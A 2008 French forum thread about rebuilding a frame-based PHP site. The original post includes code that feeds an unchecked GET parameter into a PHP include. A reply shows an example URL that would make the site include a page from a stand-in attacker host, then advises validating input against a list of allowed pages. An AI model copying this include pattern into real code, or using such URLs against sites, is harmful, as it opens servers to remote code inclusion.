passer de frame à pseudo frame

passer de frame à pseudo frame - PHP - Programmation

Marsh Posté le 06-03-2008 à 15:28:13    

Bonjour, je viens de récupérer un site en php/mysql dont je dois modifier l'apparence générale
 
Mon problème est qu'il est basé sur des frames voir site en frame ici : http://www.cad-international.fr/
 
la frame principale index.php contient 2 frames header.php et content.php
 
-> header.php contient une navigation à base de menu horyzontal
 
-> content.php contient 2 frames context.php (menu vertical gauche) et main.php (page centrale)
 
toutes les infos des produits, navigation par menu sont gérés par une base mysql
 
je voudrai refaire la page index.php en pseudo frame, est le meilleur méthode?
 
  ma page index sera en 4 parties classiques header /menu vertical droit au gauche/ centre / footer
 
  ma page index intégre ce code php pour gérer la pseudo frame
 
<?php
 
$content="";
 if(isset($_GET['content']))  
 {
 $content=$_GET['content'];
 }
?>
 
 
 
<?php    
       
 
 if(!file_exists("$content.php" ))  
 {
 $content="accueil"; // page par défaut
 }
 include "$content.php";  
?>
 
 
j'essaye de comprendre comment faire pour générer à la volé le contenu de la page centrale en fonction d'info sur ma base, car c'est simple quand les pages affichées sont déjà enregistrées sur le site...mais là je sêche  :cry:  
 
une petit aide SVP  :hello:

Reply

Marsh Posté le 06-03-2008 à 15:28:13   

Reply

Marsh Posté le 06-03-2008 à 21:40:52    

1) Pour retrouver dynamiquement le nom de ta page je t'invite à faire :

Code :
  1. $ma_page = $content.'.php';  // En concaténant c'est mieux...

 
 
2) Superbe faille de sécurité : j'appelle ton site avec une url à moi :
http://www.ton-site.com?content=http%3A%2F%2Fwww.mon-site-pour-te-pirater.com
Et là tu l'as dans le c...
Une petit conseil : Never trust the user input.
a] Tu vérifies ce qu'on t'envoie
b] Tu ranges tes pages dans une base de donnée avec un numéro (content=1, content=2...etc... déjà on voit moins de quoi il s'agit)

Message cité 1 fois
Message édité par CyberDenix le 06-03-2008 à 21:41:50

---------------
Directeur Technique (CTO)
Reply

Marsh Posté le 07-03-2008 à 00:41:50    

L'obscurantisme n'est pas la bonne méthode non plus...

Reply

Marsh Posté le 07-03-2008 à 09:39:12    

CyberDenix a écrit :


2) Superbe faille de sécurité : j'appelle ton site avec une url à moi :
http://www.ton-site.com?content=http%3A%2F%2Fwww.mon-site-pour-te-pirater.com
Et là tu l'as dans le c...
Une petit conseil : Never trust the user input.
a] Tu vérifies ce qu'on t'envoie
b] Tu ranges tes pages dans une base de donnée avec un numéro (content=1, content=2...etc... déjà on voit moins de quoi il s'agit)

 

Merci de ta réponse mais tu peux préciser ta pensée sur ton point 2 stp :

 

Superbe faille de sécurité  :hello:  une parade en exemple ?

 

et que veux tu dire par : "a] Tu vérifies ce qu'on t'envoie" ?

 

merci


Message édité par jplale le 07-03-2008 à 09:42:49
Reply

Marsh Posté le 07-03-2008 à 13:29:54    

Hé bien tu vérifies que c'est bien une page que tu attends, parmi la liste des pages possibles.
 
Sans cette vérification n'importe qui peut inclure sa propre page dans ton site et faire des choses très malsaines (affichage de variables, affichage d'un message d'insulte, création ou destruction de répertoires... que sais-je !)
 

leflos5 a écrit :

L'obscurantisme n'est pas la bonne méthode non plus...


 
De l'obscurantisme ? Il ne s'agit que d'un id de base de données, le qualificatif me parait un peu fort !  :lol:


Message édité par CyberDenix le 07-03-2008 à 13:32:12

---------------
Directeur Technique (CTO)
Reply

Marsh Posté le 07-03-2008 à 13:53:50    

ok je vais essayer.
 
merci du conseil

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed